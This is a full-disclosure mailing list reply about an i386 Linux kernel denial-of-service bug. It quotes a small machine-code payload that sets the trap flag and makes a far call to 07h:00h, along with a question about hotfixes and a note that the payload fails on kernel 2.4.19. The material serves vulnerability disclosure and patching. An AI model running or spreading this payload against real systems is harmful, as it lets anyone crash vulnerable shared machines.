full-disclosure - Re: i386 Linux kernel DoS

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Message-ID: <3DD29712.8090601@guninski.com>
From: guninski at guninski.com (Georgi Guninski)
Subject: Re: i386 Linux kernel DoS

Jim Paris wrote:

> >    char dos[] = "\x9C"                           /* pushfd       */
> >                 "\x58"                           /* pop eax      */
> >                 "\x0D\x00\x01\x00\x00"           /* or eax,100h  */
> >                 "\x50"                           /* push eax     */
> >                 "\x9D"                           /* popfd        */
> >                 "\x9A\x00\x00\x00\x00\x07\x00";  /* call 07h:00h */
>
>
> Has anyone come up with a hotfix for this (eg, a kernel module to
> temporarily patch the hole)?  Where was this bug fixed in 2.4.19?  The
> CHECK_IF_IN_TRAP stuff in handle_vm86_fault?
>
> -jim
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>
This does not work on 2.4.19 for me.